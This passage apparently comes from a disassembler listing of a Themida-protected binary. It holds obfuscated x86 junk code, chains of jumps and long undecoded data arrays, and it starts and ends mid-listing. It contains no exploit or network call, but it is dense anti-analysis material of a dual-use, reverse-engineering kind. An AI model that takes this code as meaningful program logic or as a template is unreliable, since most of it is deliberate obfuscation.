--------------------------------------------------------------------------- loc_5433DA: ; CODE XREF: Themida_:005433DFj inc eax inc edi loc_5433DC: ; CODE XREF: Themida_:005433D8j cmp byte ptr [edi], 0 jnz short loc_5433DA xor ecx, ecx mov edi, [ebp+8] jmp short loc_54340B ; --------------------------------------------------------------------------- loc_5433E8: ; CODE XREF: Themida_:0054340Dj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_543400 ; --------------------------------------------------------------------------- loc_5433FD: ; CODE XREF: Themida_:00543403j mul ebx dec esi loc_543400: ; CODE XREF: Themida_:005433FBj cmp esi, 0 ja short loc_5433FD pop ebx add ecx, eax pop eax inc edi dec eax loc_54340B: ; CODE XREF: Themida_:005433E6j or eax, eax jnz short loc_5433E8 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- db 89h, 85h, 0DDh dd 6A060718h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 256AC353h, 8BEDB8F2h, 1ADE9C1h dd 8B600000h, 8B242474h, 0FC28247Ch, 68A80B2h, 47078846h dd 2BBh, 0FD20200h, 585h, 46168A00h, 830FD212h, 0FFFFFFE2h dd 850FD202h, 5, 1246168Ah, 6A830FD2h, 33000000h, 0FD202C0h dd 585h, 46168A00h, 830FD212h, 12Ah, 850FD202h, 5, 1246168Ah dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h dd 0C013D212h, 6840Fh, 2B570000h, 5F078AF8h, 0BB470788h dd 2, 0FFFF70E9h, 1B8FFh, 0D2020000h, 5850Fh, 168A0000h dd 13D21246h, 0FD202C0h, 585h, 46168A00h, 820FD212h, 0FFFFFFDEh dd 1BBC32Bh, 0F000000h, 3485h, 1B900h, 0D2020000h, 5850Fh dd 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h, 820FD212h dd 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h, 0FFFF08E9h, 0E0C148FFh dd 46068A08h, 1B9E88Bh, 2000000h, 5850FD2h, 8A000000h dd 0D2124616h, 0D202C913h, 5850Fh, 168A0000h, 0FD21246h dd 0FFFFDE82h, 7D003DFFh, 830F0000h, 22h, 5003Dh, 0E820F00h dd 41000000h, 2BF78B56h, 5EA4F3F0h, 0FFFEB4E9h, 7FF883FFh dd 3870Fh, 0C1830000h, 0F78B5602h, 0A4F3F02Bh, 0FE9BE95Eh dd 68AFFFFh, 0C0C93346h, 840F01E8h, 17h, 8B02D183h, 0F78B56E8h dd 0A4F3F02Bh, 1BB5Eh, 76E90000h, 2BFFFFFEh, 8928247Ch dd 611C247Ch, 0BA0008C2h, 929h, 2209DE9h, 59003F00h, 2 dd 59002800h, 5ABCC102h, 5ABCC100h, 5AB7CF00h, 12FF6800h dd 24600h, 200h, 100h, 400h, 4CBC5900h, 0FAh, 4 dup(0) dd 549AB900h, 544A2B00h, 544B5E00h, 54EFF200h, 54BD6A00h dd 547B9600h, 547ED100h, 543C5A00h, 54AB4D00h, 545B8300h dd 54DB0100h, 549E2E00h, 54FB3400h, 547B0A00h, 54B35800h dd 54A20000h, 5484C500h, 54433100h, 54A43B00h, 54E45400h dd 547DDC00h, 54899300h, 54F2D200h, 5470C300h, 54602100h dd 54D99000h, 54575000h, 54A71400h, 5465CB00h, 54C72D00h dd 54FD1200h, 54E1CD00h, 54F0E500h, 54D94E00h, 5465E400h dd 54CC4400h, 54418700h, 5454C000h, 54C68800h, 548D2900h dd 54CD7600h, 54744700h, 54759000h, 54BB0F00h, 54541100h dd 545C7500h, 5487D100h, 54538A00h, 5491B000h, 54AFBA00h dd 54B06A00h, 54E06D00h, 54616B00h, 5469E600h, 54922C00h dd 54CBCC00h, 54BB7C00h, 543B9D00h, 5440E000h, 5475EC00h dd 549BB000h, 54B2FC00h, 54E9B600h, 54D61B00h, 54A98D00h dd 544B5400h, 544C8E00h, 544EC400h, 543CCE00h, 54722F00h dd 54F83500h, 54830200h, 54733600h, 5460DD00h, 54592C00h dd 5482E000h, 54829200h, 54A6FA00h, 54E48200h, 54B35100h dd 54992300h, 54FC4500h, 54BF5900h, 54AB4100h, 544E1300h dd 54D12F00h, 54CAC300h, 54DABF00h, 54500500h, 5455E900h dd 54BA9300h, 5470F400h, 54A93A00h, 5458E800h, 54C03300h dd 549B1100h, 54F71A00h, 549F4600h, 5473C900h, 544C6500h dd 544C0C00h, 54700700h, 54655700h, 54EF2D00h, 54504600h dd 54947D00h, 548F4800h, 547B4700h, 54ACC600h, 547ADE00h dd 543D3700h, 543DA900h, 54A74700h, 54C5E800h, 54DBB500h dd 54B82900h, 54BF6700h, 54E99600h, 54880900h, 54D36300h dd 5441F700h, 546F4900h, 54B72C00h, 54B9FD00h, 54892500h dd 54B40F00h, 543C3700h, 54E3EE00h, 5465EE00h, 54A60400h dd 54422F00h, 547FD900h, 54F4CE00h, 54E89400h, 54631500h dd 54EB1900h, 549CD400h, 5496CF00h, 545B1A00h, 5458FF00h dd 54CFE400h, 54A7FE00h, 54D4C900h, 54966200h, 54CB6900h dd 54736A00h, 545E8C00h, 5491D300h, 548BD400h, 54DA4800h dd 5487B700h, 54533600h, 5459ED00h, 5487E000h, 547B1400h dd 543AE700h, 5497C200h, 54B28200h, 54774B00h, 54F3CB00h dd 54E5C000h, 54801F00h, 547B2300h, 54863500h, 54B8A100h dd 54778300h, 54ED5F00h db 0 ; --------------------------------------------------------------------------- loc_5438DD: ; CODE XREF: Themida_:00596436j ; Themida_:00597A43j ... pusha pushf cld call $+5 pop edi sub edi, 6077C8Ch mov eax, edi add edi, 60779A4h cmp eax, [edi+2Ch] jnz short loc_5438FB jmp short loc_54390E ; --------------------------------------------------------------------------- loc_5438FB: ; CODE XREF: Themida_:005438F7j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_54390A ; --------------------------------------------------------------------------- loc_543905: ; CODE XREF: Themida_:0054390Cj add [edi+ecx*4+40h], eax dec ecx loc_54390A: ; CODE XREF: Themida_:00543903j or ecx, ecx jnz short loc_543905 loc_54390E: ; CODE XREF: Themida_:005438F9j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_54391B: ; CODE XREF: Themida_:00543922j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_54391B loc_543924: ; CODE XREF: Themida_:00545519j ; Themida_:00545798j ... lodsb push dx mov dh, 11h add al, dh pop dx sub al, bl sub esp, 4 mov [esp], ebx mov bh, 11h jmp loc_54EF72 ; --------------------------------------------------------------------------- loc_54393C: ; CODE XREF: Themida_:0054EB89j inc ebx xor ebx, 1DAD94ABh sub [edi+20h], ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_54A030 ; --------------------------------------------------------------------------- dw 815Fh dd 4C7h, 0AC6E900h, 88520000h, 0B9C68C6h, 4890000h, 9E95E924h dd 0C6680000h, 0E9000046h, 81D0h ; --------------------------------------------------------------------------- loc_543978: ; CODE XREF: Themida_:005489AFj not edx jmp loc_543DD7 ; --------------------------------------------------------------------------- loc_54397F: ; CODE XREF: Themida_:0054A3B5j pop bx push dword ptr [esp] pop edx add esp, 4 jmp loc_548B30 ; --------------------------------------------------------------------------- dd 0FF241C89h, 5B042474h, 5C24048Fh, 9C240401h, 0FFFF7FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5439A5: ; CODE XREF: Themida_:0054F99Cj xor [esp], ebp xor ebp, [esp] mov esp, [esp] push ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] mov ebx, [esp] push eax jmp loc_54471E ; --------------------------------------------------------------------------- loc_5439CB: ; CODE XREF: Themida_:0054A6F5j sub esp, 4 mov [esp], eax jmp loc_54AAD7 ; --------------------------------------------------------------------------- db 68h, 0A6h, 64h dd 34890000h, 0F1E95524h, 8300001Fh, 0C8704C1h, 9616E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5439F2: ; CODE XREF: Themida_:005459D3j mov ebx, 4 sub ebp, 763C6F9Ah sub ebp, ebx add ebp, 763C6F9Ah pop ebx xchg ebp, [esp] pop esp mov [esp], esi mov esi, esp push edi mov edi, 4 jmp loc_549534 ; --------------------------------------------------------------------------- dw 0C183h dd 240C3304h, 0A6F8E9h db 0 ; --------------------------------------------------------------------------- loc_543A25: ; CODE XREF: Themida_:0054C2D0j or eax, eax jz loc_54F64A push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_544494 ; --------------------------------------------------------------------------- dd 8004C483h, 815082EBh, 4ECh, 241C8900h, 4E93DB3h, 890000BDh dd 6866241Ch, 2FE93E4Ch, 660000B0h, 6600B60Fh, 66239D68h dd 0E9240489h, 0FFFFFEB8h ; --------------------------------------------------------------------------- loc_543A6C: ; CODE XREF: Themida_:00545D43j dec ebx push ecx mov ecx, 3D183048h sub ecx, 0E2C5B123h sub ebx, ecx pop ecx add esi, ebx mov ebx, [esp] add esp, 4 and eax, esi mov esi, [esp] add esp, 4 jmp loc_548E89 ; --------------------------------------------------------------------------- dd 87048F66h, 0FFFE87E9h, 672068FFh, 4890000h, 0DBBA5224h dd 0E9103E5Ah, 9AE1h, 48E9DFF7h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_543AB7: ; CODE XREF: Themida_:0054B1B7j pop esi inc esi push ebp mov ebp, 681A3793h jmp loc_54E929 ; --------------------------------------------------------------------------- loc_543AC4: ; CODE XREF: Themida_:00543E50j xor [esp], esi push dword ptr [esp] pop eax push edx push esp mov edx, [esp] add esp, 4 add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_54C7BD ; --------------------------------------------------------------------------- db 8Bh dd 0D7682404h, 0E9000056h, 8A61h ; --------------------------------------------------------------------------- loc_543AF4: ; CODE XREF: Themida_:00548C84j xor ecx, ebx pop ebx add esi, 37A3F23h sub esi, ecx sub esi, 37A3F23h pop ecx not esi dec esi jmp loc_5456B1 ; --------------------------------------------------------------------------- loc_543B0E: ; CODE XREF: Themida_:00547BEDj push ebx not dword ptr [esp] jmp loc_54B70B ; --------------------------------------------------------------------------- loc_543B17: ; CODE XREF: Themida_:0054EF77j mov cl, 61h shr cl, 7 not cl jmp loc_5484B2 ; --------------------------------------------------------------------------- db 86h dd 2D8E9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543B2A: ; CODE XREF: Themida_:005459C7j and edi, 40B233ADh sub edi, 2A2CD422h sub eax, edi pop edi push 281Ah jmp loc_54AFD3 ; --------------------------------------------------------------------------- db 68h align 8 dd 59240C29h, 6253BA52h, 0F2813682h, 7A49123Ch, 0DAF7D2F7h dd 32C7EA81h, 85E912A9h, 0B1000062h, 0CC885004h, 0CAE9E688h dd 0BB000062h, 308A57C4h, 64C6BA52h, 0EB811246h, 130A63F3h dd 0C381D329h, 130A63F3h, 754FE9h, 1C875A00h, 24248B24h dd 8782E9h, 2434FF00h, 5A2434FFh, 5304C483h, 1AE9E389h dd 52000041h, 8B52C289h, 0C481243Ch, 4, 0F889505Ah, 0FF585D50h dd 815F2434h, 4C4h, 0FF585500h, 96E92434h, 8B0000C0h, 0C4812414h dd 4, 4EC81h, 14890000h, 801EB224h, 88505BF2h, 88D4F6D4h dd 24048BE2h, 8004C483h, 0C28001C2h, 44F9E9CEh, 0D0010000h dd 0E0D68h, 0BFB4E900h, 815A0000h, 4C2h, 6FE0E900h, 5EBF0000h dd 813F850Bh, 8A25D0F7h, 0E9F8011Fh, 1CC1h ; --------------------------------------------------------------------------- loc_543C30: ; CODE XREF: Themida_:0054A398j sub ecx, ebx jmp loc_54C179 ; --------------------------------------------------------------------------- db 66h dd 5024048Bh, 7B6BE9h, 4C28100h, 87000000h, 515C2414h dd 503B3C68h, 0CB295943h, 0A705E959h, 8B660000h, 8951240Ch dd 4C181E1h, 57000000h, 5E1BA1BFh, 0E7C14F7Eh, 87EF8102h dd 8130FC11h, 8332A8E7h, 0A4EF8128h, 29080010h, 0C875FF9h dd 0C895C24h, 4EC8324h, 81242489h, 42404h, 75E90000h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_543C9F: ; CODE XREF: Themida_:00549290j mov [esp], ecx mov ecx, 3BE92FF0h push ecx add dword ptr [esp], 7250560Ch pop eax sub eax, 7250560Ch mov ecx, [esp] add esp, 4 xchg eax, esi push 0 sub [esp], esi pop esi xchg eax, esi jmp loc_5476F9 ; --------------------------------------------------------------------------- dw 8B66h dd 4DE92424h, 89FFFFFCh, 0D3BA2414h, 8103C256h, 2A3133E2h dd 81DAF74Bh, 9E30F0C2h, 5FE9427Bh db 8Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_543CF3: ; CODE XREF: Themida_:0054758Bj sub esp, 4 mov [esp], ebx mov eax, [esp] push edi push esp pop edi push 761Ah jmp loc_54E0F9 ; --------------------------------------------------------------------------- dd 0EF68h, 0B8D7E900h, 0E9550000h, 0AE7Eh ; --------------------------------------------------------------------------- loc_543D1C: ; CODE XREF: Themida_:0054877Fj pop edx jmp loc_54F9A1 ; --------------------------------------------------------------------------- loc_543D22: ; CODE XREF: Themida_:0054F6FBj jnz loc_54D3AC push ecx push ebx mov ebx, 22855453h mov ecx, ebx pop ebx jmp loc_5456DE ; --------------------------------------------------------------------------- db 66h dd 8324048Bh, 348904ECh, 685E5424h, 2581h, 6604E9h db 0 ; --------------------------------------------------------------------------- loc_543D4D: ; CODE XREF: Themida_:0054EA2Cj add dword ptr [esp], 1 mov edi, [esp] add esp, 4 dec edi sub edi, 3F613C34h or edi, 46AC0C06h or edi, 62A00961h add edi, 10431085h add eax, edi pop edi jmp loc_54B295 ; --------------------------------------------------------------------------- db 5Bh dd 0B25BDE05h, 8028E93Fh, 0C1FE0000h, 8052E980h, 0C828FEE9h dd 5486E9h, 2C68300h, 31243433h, 0C8E92434h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_543DA3: ; CODE XREF: Themida_:0054C010j pop esi jmp loc_548364 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aXsdc db 'XéD—',0 align 2 dw 2C89h dd 2474FF24h, 9610E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543DBE: ; CODE XREF: Themida_:00543E87j mov eax, 981959h and eax, 724F4E51h add eax, 3963352Eh add eax, 0FFFFFFFFh jmp loc_54D8D4 ; --------------------------------------------------------------------------- loc_543DD7: ; CODE XREF: Themida_:0054397Aj push ebp sub esp, 4 jmp loc_544A36 ; --------------------------------------------------------------------------- db 0BFh dd 70BB6251h, 521E781h, 0C78123BEh, 0DF460003h, 815FFD01h dd 4ECh, 437CE900h, 0B5510000h, 80DDF646h, 0ED80D9CDh dd 59EB3047h, 883FF380h, 0C4FE5BDCh, 8002E4C0h, 0EC80BFE4h dd 58E328BEh, 3013E9h, 50E28900h, 4B8h, 2468E900h, 34FF0000h dd 240C8B24h, 7A70E9h db 0 ; --------------------------------------------------------------------------- loc_543E41: ; CODE XREF: Themida_:0054EB2Aj pop dword ptr [esp] xchg ebp, esi not ebp xchg ebp, esi xor [esp], esi xor esi, [esp] jmp loc_543AC4 ; --------------------------------------------------------------------------- loc_543E55: ; CODE XREF: Themida_:0054A9BAj xor edi, 271419D3h xor edi, 382FB0B0h sub eax, 7385229Bh sub eax, edi jmp loc_54C12C ; --------------------------------------------------------------------------- db 50h, 0E9h, 1Fh db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_543E73: ; CODE XREF: Themida_:0054716Dj not eax xchg eax, ebx xchg ebx, edx xor eax, edx xor edx, eax xor eax, edx push 795h mov [esp], ebp push eax jmp loc_543DBE ; --------------------------------------------------------------------------- dd 5E4701BDh, 4272E921h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543E96: ; CODE XREF: Themida_:00547F3Fj pop esi add edx, ecx mov ecx, [esp] jmp loc_54B1A1 ; --------------------------------------------------------------------------- db 53h, 0BBh, 0A3h dd 0C171A676h, 0F38102E3h, 0C699DA8Eh, 93F4E9h, 14896600h dd 9C506624h, 0FFFA63E9h db 0FFh ; --------------------------------------------------------------------------- loc_543EC1: ; CODE XREF: Themida_:0054A6B0j mov ebp, esi pop esi sub ebp, 0B2BE20E2h jmp loc_5477D8 ; --------------------------------------------------------------------------- db 31h dd 54015EF2h, 148B0424h, 4C48124h, 5D000000h, 4C581h, 0E1E90000h dd 8900005Ah, 4C381E3h, 81000000h, 4EBh, 241C8700h, 2424895Ch dd 9978E9h, 240C8900h, 42474FFh, 24048F59h, 0E924248Bh dd 964Dh, 81E28952h, 4C2h, 4BB5300h, 1000000h, 6C96E9DAh dd 21BE0000h, 811FB213h, 0BEB03FEEh, 10122DCFh, 0E12D3DA4h dd 297CDC33h, 33E105F0h, 0B9517CDCh, 5D8F0093h, 0C981D1F7h dd 3BDA1E8Ch, 0EFFEF181h, 0C801865Eh, 19E95E59h, 810000B9h dd 4C4h, 0EAAE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543F72: ; CODE XREF: Themida_:0054D0E0j xor edi, 72D52B12h jmp loc_5465F7 ; --------------------------------------------------------------------------- loc_543F7D: ; CODE XREF: Themida_:0054E1B8j add esi, 4 xchg esi, [esp] pop esp jmp loc_547DB6 ; --------------------------------------------------------------------------- db 45h, 4Dh, 81h dd 1C5h, 57E58100h, 537D2740h, 0A38BE9h, 68505600h, 5523733h dd 8AAEE958h, 4BE0000h, 1000000h, 0B4ECE9F0h, 0EC810000h dd 4, 54240489h, 40558h, 2680000h, 89000065h, 9EE92414h db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_543FD3: ; CODE XREF: Themida_:005454BBj sub [edi+24h], edx pop edx loc_543FD7: ; CODE XREF: Themida_:0054FA3Aj push 41F3h mov [esp], edx push eax push ebx pop eax push ecx push eax sub dword ptr [esp], 5F263B65h mov ecx, [esp] add esp, 4 add ecx, 5F263B65h jmp loc_54CBB6 ; --------------------------------------------------------------------------- loc_543FFF: ; CODE XREF: Themida_:00546B22j mov ecx, esi mov edi, ecx jmp loc_54B174 ; --------------------------------------------------------------------------- dd 88D78853h, 148B5BFCh, 5F09E924h, 0EB810000h, 0E203BA34h dd 815BDA29h, 0AB060DC6h, 81D60141h, 0AB060DEEh, 0B9515A41h dd 4E9308C0h, 0BBBF5741h, 814C700Bh, 20C626EFh, 7D06E9D0h dd 342C0000h, 8FEE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54404E: ; CODE XREF: Themida_:00546AA6j push esi push 459C5AA7h pop esi shr esi, 3 jmp loc_54B900 ; --------------------------------------------------------------------------- db 0BEh, 22h, 79h dd 0DEF760F7h, 0A0BE9h db 0 ; --------------------------------------------------------------------------- loc_544069: ; CODE XREF: Themida_:00545846j push ebx mov ebx, 3617617Bh push ecx push edx mov edx, 109D3DD0h jmp loc_54A9DB ; --------------------------------------------------------------------------- loc_54407B: ; CODE XREF: Themida_:0054618Fj mov eax, 4 sub ebp, 11B57C83h add ebp, eax jmp loc_54B96B ; --------------------------------------------------------------------------- db 0BFh, 6Eh, 44h dd 4F4F6718h, 6127BB53h, 0F3817756h, 37AF1251h, 475BDF09h dd 522BE952h, 0BF570000h, 5CB5320Eh, 0BC44EF81h, 0F801F18Ch dd 81243C8Bh, 4C4h, 51D00100h, 641167B9h, 83D1F752h, 0F18101C1h dd 0C6B39B53h, 0DEE955h, 0E9510000h, 0FEh, 24048B66h, 685E5456h dd 372h, 0B8240489h, 7BF7095h, 3504E8C1h, 7BF70Dh, 7F4E9h db 0 ; --------------------------------------------------------------------------- loc_544101: ; CODE XREF: Themida_:0054C00Aj mov dl, 8Eh mov ah, 0BCh sub ah, dl pop edx add bl, ah pop eax add bl, 96h jmp loc_544CFC ; --------------------------------------------------------------------------- db 83h dd 0E95004C4h, 470h, 0FF24248Bh, 0E99C240Ch, 0FFFFF7FCh dd 2A7AE951h, 0ED800000h, 80F528EFh, 525AEFC5h, 0EA8084B2h dd 0CFE280B2h, 3048F280h, 87ADE9D5h, 30FF0000h, 0FFF7D3E9h db 0FFh ; --------------------------------------------------------------------------- loc_544151: ; CODE XREF: Themida_:0054B67Dj push edx mov dh, 0F6h mov ah, 3Ch sub ah, 0D0h add ah, 8Dh jmp loc_544E46 ; --------------------------------------------------------------------------- aWicsP db 'W‰çé|',0 db 0 ; --------------------------------------------------------------------------- loc_544169: ; CODE XREF: Themida_:0054DC9Ej xchg eax, [esp] pop esp loc_54416D: ; CODE XREF: Themida_:0054F56Aj push ebx jmp loc_54B1B0 ; --------------------------------------------------------------------------- db 81h dd 572083F7h, 5FFA0109h, 4EA81h, 25E90000h, 6600003Dh dd 5224048Bh, 603168h, 48F5400h, 24048124h, 4, 8B9CE9h dd 242C8900h, 5144BB53h, 0C3814746h, 1, 0E904EC83h, 6902h dd 0CD4FD2BDh, 5DE8017Fh, 0D22DC829h, 597FCD4Fh, 0A2C0E95Ah dd 0BE560000h, 26177D69h, 177D6DBAh, 0FCF1E926h, 4B9FFFFh dd 1000000h, 240C8BCEh, 0E95D5455h, 1457h, 0E7E9C788h dd 66000096h, 81240C8Bh, 4ECh, 243C8900h, 0A9E95F54h, 8100000Fh dd 1A5D26E9h, 87D9F75Fh, 8CE955E9h db 3 dup(0) ; --------------------------------------------------------------------------- loc_54421B: ; CODE XREF: Themida_:00549334j pop edx shl ebp, 5 shl ebp, 3 push 3EC8h mov [esp], ebp jmp loc_54FADD ; --------------------------------------------------------------------------- db 0ACh dd 0F3B25266h, 0E960B353h, 0B49Eh, 28FEEA80h, 24148BD0h dd 8104C483h, 2ECh, 1C896600h, 8FB724h, 1C8B66F8h, 0EC835524h dd 4D29E904h, 0EB810000h, 8E53AA6h, 0C381C329h, 8E53AA6h dd 5BF3BF57h, 0C0E946FEh db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54427B: ; CODE XREF: Themida_:00545D38j not dword ptr [esp] pop edx push edi mov edi, 458C60BEh sub edx, edi jmp loc_546242 ; --------------------------------------------------------------------------- loc_54428C: ; CODE XREF: Themida_:0054AFB5j shr ebx, 8 push esi mov esi, 134C3E5Bh dec esi xor esi, 2D6A4FE9h sub esi, 3F01D51Eh jmp loc_549080 ; --------------------------------------------------------------------------- aZSnk db '‡,$éK',0 dw 0BE00h dd 42DC2FC0h, 0F75EF309h, 1477E9DBh, 88580000h, 0C38059CAh dd 80D3000Dh, 8B660DEBh, 0C4812414h, 2, 42F9E9h, 74EB8000h dd 0C380CB28h, 0E9596674h, 9F08h, 68243489h, 4F5Ch, 230DE9h db 0 ; --------------------------------------------------------------------------- loc_5442F5: ; CODE XREF: Themida_:0054B45Bj sub ebx, 1C7E504Dh add eax, ebx jmp loc_54C502 ; --------------------------------------------------------------------------- dw 0C388h dd 24048B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54EF4A ; --------------------------------------------------------------------------- dw 0EB81h dd 35A90937h, 37E95359h, 81000006h, 257A9F5h, 5DEB0167h dd 73C8E9h, 2434FF00h, 0E9545358h, 7272h ; --------------------------------------------------------------------------- loc_54433C: ; CODE XREF: Themida_:005444A1j mov [esp], esp sub esp, 4 mov [esp], esi mov esi, 4 add [esp+4], esi jmp loc_545CB2 ; --------------------------------------------------------------------------- loc_544356: ; CODE XREF: Themida_:0054EEA5j sub eax, 2780856Ah add ebx, eax pop eax jmp loc_54BEE9 ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 0E9000000h, 0A20Fh, 7462CD81h, 49E9004Fh db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54437B: ; CODE XREF: Themida_:0054FB64j sub edx, 2 jmp loc_545375 ; --------------------------------------------------------------------------- loc_544386: ; CODE XREF: Themida_:00548722j add ebp, 4 add ebp, 2 jmp loc_54D06C ; --------------------------------------------------------------------------- db 0B8h dd 34E615A7h, 34FFC201h, 0C4835824h, 7EAFE904h, 0EC810000h dd 4, 25ACE9h, 2CF02800h, 148B665Bh, 257E924h, 0E7890000h dd 4BB53h, 0DF010000h, 25CEE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5443D2: ; CODE XREF: Themida_:0054EFEDj mov [esp], edx push ecx mov ecx, 52C3766Ch push esi push 3B8A5F00h pop esi jmp loc_54DBD7 ; --------------------------------------------------------------------------- db 53h dd 79079CBBh, 5C0FE925h, 81590000h, 3E7946EEh, 0C6015827h dd 4E6DE9h, 241C8900h, 0AED7E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54440A: ; CODE XREF: Themida_:0054AEB3j pop dword ptr [esp] push edx not dword ptr [esp] mov edx, [esp] push ebp mov ebp, esp jmp loc_5459CC ; --------------------------------------------------------------------------- dd 0E904C483h, 4814h, 3302EF83h, 56E9243Ch, 68000092h dd 0F836826h, 8324348Bh, 0EEC104C4h, 0AAC68108h, 8143581Ah dd 9491FEC6h, 5EF289F6h, 4277EA81h dword_544450 dd 0EA817230h, 55D310E9h, 193E9h ; DATA XREF: ___:off_43CCF4o db 0 ; --------------------------------------------------------------------------- loc_54445D: ; CODE XREF: Themida_:0054D5D2j push esi push ecx mov ecx, 266C6C24h sub ecx, 1 jmp loc_54F06F ; --------------------------------------------------------------------------- dd 0D6F6B3B6h, 0F680CEFEh, 46ED80FDh, 84DAE9h db 0 ; --------------------------------------------------------------------------- loc_54447D: ; CODE XREF: Themida_:005450CCj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_54D589 ; --------------------------------------------------------------------------- loc_544494: ; CODE XREF: Themida_:00543A33j pop ecx sub esp, 4 mov [esp], eax sub esp, 4 jmp loc_54433C ; --------------------------------------------------------------------------- dw 79E9h dd 81FFFFF4h, 8F6ED8C7h, 2E18E915h, 0F8890000h, 0AF92E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5444BE: ; CODE XREF: Themida_:0054AE54j push 34BBh mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax push edi jmp loc_545CBA ; --------------------------------------------------------------------------- loc_5444D3: ; CODE XREF: Themida_:00547A06j mov [esp], edi mov edi, 4EAD5430h jmp loc_54D02F ; --------------------------------------------------------------------------- loc_5444E0: ; CODE XREF: Themida_:0054C635j mov ebp, [esp] add esp, 4 push edi mov edi, 2E2D1A6Dh jmp loc_54FC98 ; --------------------------------------------------------------------------- db 0C1h, 0E6h, 8 dd 41EE814Eh, 1C686C0h, 57595EF7h, 42474FFh, 83243C8Bh dd 48F04C4h, 24248B24h, 0F66F9F6h, 0D2E9CCB6h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54451B: ; CODE XREF: Themida_:0054A775j push ecx mov ecx, 4F8A0DBAh jmp loc_5445CA ; --------------------------------------------------------------------------- loc_544526: ; CODE XREF: Themida_:00546B39j add ebx, 4FB433C6h not ebx inc ebx sub ebx, 7E75264Fh add edx, 510F164Bh sub edx, ebx jmp loc_54FC8D ; --------------------------------------------------------------------------- dw 0EE81h dd 5B940C6Fh, 4548E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54454E: ; CODE XREF: Themida_:0054C838j dec ebp add ebp, 583937B6h sub ebp, 5A21B7C1h xor eax, ebp mov ebp, [esp] add esp, 4 add ebx, 46B73D5Fh sub ebx, 30ABFh push ebp mov ebp, 33F218E4h jmp loc_546AB1 ; --------------------------------------------------------------------------- dw 8159h dd 4C1h, 4EC8300h, 0E9241C89h, 76E6h, 405E089h, 83000000h dd 48704C0h, 6AE95C24h, 88000016h, 2983E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5445A6: ; CODE XREF: Themida_:00549478j add edx, 4 add edx, 4 xor edx, [esp] jmp loc_54BAE1 ; --------------------------------------------------------------------------- dw 0E9D0h dd 4EC81h, 4890000h, 0A3C5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5445CA: ; CODE XREF: Themida_:00544521j or ebx, ecx jmp loc_54B8DB ; --------------------------------------------------------------------------- a0ixxsin db '´0ˆåXéIN',0 dw 100h aSsik db 'èéiK',0 align 2 loc_5445E2: ; CODE XREF: Themida_:00545489j mov edx, 24h add edx, edi xor ecx, [edx] jmp loc_547792 ; --------------------------------------------------------------------------- dd 784AE981h, 0D1297FC2h, 784AC181h, 0E95A7FC2h, 9B54h dd 0FFF31BE9h, 0C8966FFh, 0B60F6624h, 9C5166C8h, 0FFF30BE9h dd 4EC83FFh, 81C0E9h db 0 ; --------------------------------------------------------------------------- loc_544621: ; CODE XREF: Themida_:0054C57Ej add esp, 4 push 4F71h mov [esp], edx mov edx, 5EEE610h xor eax, edx push dword ptr [esp] mov edx, [esp] push 2EE6h jmp loc_54EBE1 ; --------------------------------------------------------------------------- dw 0BB53h dd 300F6F3Dh, 302FEB81h, 0F38167D0h, 6A14E3Dh, 0D0C38143h dd 131618Eh, 0C7815BDFh, 4, 5C243C87h, 3E06857h, 3C8B29F1h dd 0E6895624h, 4C681h, 0BA520000h, 4, 94DEE9h db 0 ; --------------------------------------------------------------------------- loc_544689: ; CODE XREF: Themida_:00544730j mov ecx, 0FFFFFFFFh sub ebx, ecx mov ecx, [esp] jmp loc_54AE83 ; --------------------------------------------------------------------------- loc_544698: ; CODE XREF: Themida_:0054B853j add ebx, ebp pop ebp xchg ebx, [esp] pop esp add esi, 554D294Ah pop ecx sub esi, 35970D53h jmp loc_544B99 ; --------------------------------------------------------------------------- db 81h, 0EFh, 80h dd 4F0D3732h, 0C549EF81h, 0F9016CAEh, 8BC8315Fh, 8950240Ch dd 405E0h, 4050000h, 87000000h, 815C2404h, 4ECh, 241C8900h dd 5126BF57h, 895066E0h, 16FE9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5446EE: ; CODE XREF: Themida_:00549567j or eax, 78914A75h dec eax sub eax, 